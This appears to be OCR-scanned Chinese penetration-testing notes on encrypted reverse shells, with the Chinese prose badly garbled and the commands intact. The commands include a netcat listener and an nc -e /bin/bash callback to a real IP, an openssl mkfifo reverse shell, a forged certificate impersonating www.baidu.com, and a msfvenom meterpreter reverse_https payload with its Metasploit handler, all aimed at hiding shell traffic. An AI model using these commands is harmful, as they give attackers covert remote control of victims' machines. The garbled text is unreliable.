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#NC-ARNINE &IN5 5 - T B B

nc -lvvp 5566

nc -e /bin/bash 47.94.236.117 5566

FEFRATH Bt i AE A 1 25 44 R

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem
-days 365 -nodes

RN BT R e, X B IRi%FE 8888

openssl s server -quiet -key key.pem -cert cert.pem -port 8888
FEZENL EHAT shell RS EEBE ip M)

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s client -quiet
-connect 47.94.236.117:8888 > /tmp/s;

#MSF- Yl EIE WAL E - IEFi-openssl

—ff R HTTPS-SSL M AL 54 FEAE b7 7]

1.8 M openssl A RGET:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj
"/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout
www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key
www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key
www.baidu.com.crt

2 .MSF AP EiEFET]:

msfvenom -p windows/meterpreter/reverse https LHOST=47.94.236.117
LPORT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell
HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -
f exe -o https-b.exe

3.MsF il B4k

use exploit/multi/handler

set payload windows/meterpreter/reverse https

set lhost 0.0.0.0

set lport 5566

set HandlerSSLCert /root/www.baidu.com.pem

set StagerVerifySSLCert true

run

-impersonate ssl f&#R

A Metasploit HEZEILH —A> auxiliary/gather/impersonate ssl ##k, ]
CAFR B s M ARIR B — D REARGE TS, 20 75 fi

use auxiliary/gather/impersonate ssl

set RHOST www.baidu.com

run
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